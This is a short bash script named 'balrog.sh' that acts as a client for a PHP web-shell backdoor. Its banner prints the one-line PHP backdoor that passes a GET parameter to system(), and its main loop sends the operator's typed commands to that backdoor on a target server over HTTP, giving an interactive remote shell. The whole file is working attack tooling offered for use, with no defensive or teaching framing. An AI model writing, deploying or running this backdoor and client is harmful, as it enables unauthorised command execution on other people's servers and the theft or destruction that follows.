balrog.sh

#!/bin/bash

function banner(){
echo -e "
###############################################\n####      CLIENTE BACKDOOR OF PHP          ####\n####                       BY: INIT-0      ####\n####                                       ####\n#### <?php                                 ####\n#### //This is bakdoor in php              ####\n####  system($_GET['id'])                     ####\n#### ;?>                                   ####\n###############################################
"
}

target=$1
backdoor=$2
if [ "$target" == "" ];then
    clear
    banner
    echo "Usage: $0 Target /backdoor.php"
    echo
    echo
    exit
fi
while true;do
    ID=$(GET http://$target$backdoor?id="whoami" | tr -d "\n")
    read -p "$ID@server:~$ " comando
    if [ "$comando" == "clear" ];then
        clear
    fi
    GET http://$target$backdoor?id="$comando $3 $4 $5 $6";
done